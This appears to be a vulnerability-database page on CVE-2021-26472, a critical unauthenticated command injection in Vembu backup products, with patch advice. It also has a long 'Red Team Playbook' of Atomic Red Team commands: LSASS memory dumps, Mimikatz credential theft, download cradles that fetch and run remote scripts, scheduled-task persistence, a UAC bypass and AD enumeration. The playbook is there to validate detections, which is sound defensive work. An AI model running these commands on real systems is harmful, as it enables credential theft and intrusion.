CVE-2021-26472
CRITICAL
Pub 08/06
Upd 16/09
Overview
This vulnerability is a command injection flaw (CWE-78) in VembuBDR and VembuOffsiteDR products prior to version 4.2.0.1 on Windows platforms. The root cause lies in insufficient input validation of the 'command' argument in the HTTP API endpoint /consumerweb/secure/download.php, which executes OS commands without sanitization. This allows untrusted input to be interpreted and executed by the system shell with SYSTEM-level privileges.
Vulnerability Description
In VembuBDR before 4.2.0.1 and VembuOffsiteDR before 4.2.0.1 installed on Windows, the http API located at /consumerweb/secure/download.php. Using this command argument an unauthenticated attacker can execute arbitrary OS commands with SYSTEM privileges.
Impact
An unauthenticated remote attacker can execute arbitrary OS commands with SYSTEM privileges by exploiting this vulnerability, enabling full control over the affected system. No authentication or user interaction is required, and the attack can be performed remotely over the network (CVSS vector AV:N/AC:L/PR:N/UI:N). Consequences include complete compromise of confidentiality, integrity, and availability of the system, potentially leading to data exfiltration, service disruption, or lateral movement within the network.
Solution
Apply the vendor-provided patches by upgrading VembuBDR and VembuOffsiteDR to version 4.2.0.1 or later as detailed in the DIVD advisories (DIVD-2020-00011 and the May 2021 Vembu zero-days report). The vendor’s official advisory at https://csirt.divd.nl/2021/05/11/Vembu-zero-days/ provides step-by-step patching instructions. No alternative workarounds are documented; timely patching is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in VembuBDR and VembuOffsiteDR presents a critical security flaw that allows unauthenticated attackers to execute arbitrary operating system commands with SYSTEM privileges. This flaw is rooted in the improper handling of command arguments within the HTTP API endpoint located at /consumerweb/secure/download.php. The lack of adequate input validation and authentication checks enables malicious actors to exploit this endpoint, potentially leading to severe consequences for affected systems. The high CVSS score of 9.8 underscores the severity of this vulnerability, indicating that it poses a significant risk to the confidentiality, integrity, and availability of the systems involved.
Attack vectors for this vulnerability are straightforward, as they require minimal technical skill to exploit. An attacker can craft a specially designed HTTP request to the vulnerable API endpoint, injecting malicious commands as parameters. Once executed, these commands run with SYSTEM privileges, granting the attacker extensive control over the affected machine. This could lead to various malicious activities, including data exfiltration, installation of malware, or even complete system compromise. The ease of exploitation combined with the elevated privileges makes this vulnerability particularly dangerous, as it opens the door for attackers to pivot within the network and target other connected systems.
The real-world impact of this vulnerability can be catastrophic for organizations relying on Vembu's backup and disaster recovery solutions. Successful exploitation can lead to unauthorized access to sensitive data, disruption of business operations, and significant financial losses. Organizations may face regulatory penalties if they fail to protect sensitive information adequately. Furthermore, the reputational damage resulting from a data breach can have long-lasting effects, eroding customer trust and impacting future business opportunities. The potential for widespread exploitation means that organizations must prioritize addressing this vulnerability to safeguard their assets.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, they should conduct a thorough inventory of all systems running vulnerable versions of VembuBDR and VembuOffsiteDR, ensuring that they are updated to the latest secure versions. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited. Additionally, organizations should implement network segmentation to limit the exposure of critical systems and employ intrusion detection systems to monitor for suspicious activity related to the vulnerable API endpoint.
In conclusion, the vulnerability in VembuBDR and VembuOffsiteDR represents a significant threat to organizations that utilize these products for backup and disaster recovery. The ability for unauthenticated attackers to execute arbitrary commands with SYSTEM privileges poses a severe risk, necessitating immediate action from affected organizations. By prioritizing detection and mitigation strategies, businesses can reduce their exposure to this vulnerability and enhance their overall cybersecurity posture. The proactive management of such vulnerabilities is essential in today’s threat landscape, where attackers continuously seek to exploit weaknesses for malicious gain.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
V
|
Vembu | Bdr Suite | All |
cpe:2.3:a:vembu:bdr_suite:*:*:*:*:*:*:*:*
|
|
V
|
Vembu | Offsite Dr | All |
cpe:2.3:a:vembu:offsite_dr:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Exploited in Wild
NOT DETECTED
Ransomware
NOT ASSOCIATED
Attacker Interest
VERY LOW
Sightings
No sightings
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Applicable
Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Kill chain derived from the ML classifier.
Attack Vectors ML
OS Command Injection
100%
command_injection
Remote Code Execution
30%
rce
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
No techniques for the selected OS
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
No tests for the selected OS
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
T1003.001
Create Mini Dump of LSASS.exe using ProcDump
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe
Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001
Dump LSASS with createdump.exe from .Net v5
Windows
PowerShell
Privileged
Use createdump executable from .NET to create an LSASS dump.
[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001
Dump LSASS.exe Memory through Silent Process Exit
Windows
CMD
Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism
introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001
Dump LSASS.exe Memory using NanoDump
Windows
CMD
Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.
https://github.com/helpsystems/nanodump
Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001
Dump LSASS.exe Memory using Out-Minidump.ps1
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001
Dump LSASS.exe Memory using ProcDump
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.
Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.
If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001
Dump LSASS.exe Memory using Windows Task Manager
Windows
Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
Manager and administrative permissions.
T1003.001
Dump LSASS.exe Memory using comsvcs.dll
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.
Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001
Dump LSASS.exe Memory using direct system calls and API unhooking
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001
Dump LSASS.exe using imported Microsoft DLLs
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump
file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001
Dump LSASS.exe using lolbin rdrleakdiag.exe
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks.
This can be achieved with lolbin rdrleakdiag.exe.
Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001
LSASS read with pypykatz
Windows
CMD
Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::
Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.
Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001
Offline Credential Theft With Mimikatz
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001
Powershell Mimikatz
Windows
PowerShell
Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002
Copy and Execute File with PsExec
Windows
CMD
Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002
Execute command writing output to local Admin Share
Windows
CMD
Privileged
Executes a command, writing the output to a local Admin Share.
This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002
Map Admin Share PowerShell
Windows
PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002
Map admin share
Windows
CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1053.005
Import XML Schedule Task with Hidden Attribute
Windows
PowerShell
Privileged
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute.
This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005
PowerShell Modify A Scheduled Task
Windows
PowerShell
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered.
It will first be created to spawn cmd.exe, but modified...
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1053.005
Powershell Cmdlet Scheduled Task
Windows
PowerShell
Create an atomic scheduled task that leverages native powershell cmdlets.
Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005
Scheduled Task ("Ghost Task") via Registry Key Manipulation
Windows
CMD
Privileged
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
T1053.005
Scheduled Task Executing Base64 Encoded Commands From Registry
Windows
CMD
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.
The scheduled task will launch powershell to decode and run the command in the registry daily.
This is a persistence mechanism recently seen in use by Qakbot. ...
Command (CMD)
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
T1053.005
Scheduled Task Persistence via CompMgmt.msc
Windows
CMD
Privileged
Adds persistence by abusing `compmgmt.msc` via a scheduled task.
When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`).
This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
T1053.005
Scheduled Task Persistence via Eventviewer.msc
Windows
CMD
Privileged
Adds persistence by abusing `eventviewer.msc` via a scheduled task.
When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1053.005
Scheduled Task Startup Script
Windows
CMD
Privileged
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view
the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command (CMD)
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
T1053.005
Scheduled task Local
Windows
CMD
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (CMD)
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
T1053.005
Scheduled task Remote
Windows
CMD
Privileged
Create a task on a remote system.
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command (CMD)
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
T1053.005
Task Scheduler via VBA
Windows
PowerShell
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
30 - 40 seconds after this module has run
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005
WMI Invoke-CimMethod Scheduled Task
Windows
PowerShell
Privileged
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1059.001
ATHPowerShellCommandLineParameter -Command parameter variations
Windows
PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments
Windows
PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
Windows
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments
Windows
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
Abuse Nslookup with DNS Records
Windows
PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.
[reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001
Invoke-AppPathBypass
Windows
CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened.
Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001
Mimikatz
Windows
CMD
Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001
Mimikatz - Cradlecraft PsSendKeys
Windows
PowerShell
Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001
NTFS Alternate Data Stream Access
Windows
PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001
PowerShell Command Execution
Windows
CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e #{obfuscated_code}
T1059.001
PowerShell Fileless Script Execution
Windows
PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that
art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001
PowerShell Invoke Known Malicious Cmdlets
Windows
PowerShell
Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
T1059.001
PowerShell Session Creation and Use
Windows
PowerShell
Privileged
Connect to a remote powershell session and interact with the host.
Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001
PowerUp Invoke-AllChecks
Windows
PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001
Powershell Invoke-DownloadCradle
Windows
Manual
Provided by https://github.com/mgreen27/mgreen27.github.io
Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001
Powershell MsXml COM object - with prompt
Windows
CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001
Powershell XML requests
Windows
CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001
Powershell invoke mshta.exe download
Windows
CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001
Run BloodHound from local disk
Windows
PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.
Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001
Run Bloodhound from Memory using Download Cradle
Windows
PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.
Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001
SOAPHound - Build Cache
Windows
PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename.
src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001
SOAPHound - Dump BloodHound Data
Windows
PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory.
src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1087.002
Account Enumeration with LDAPDomainDump
Linux
Shell
This test uses LDAPDomainDump to perform account enumeration on a domain.
[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002
Active Directory Domain Search
Linux
Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002
Adfind - Enumerate Active Directory Admins
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002
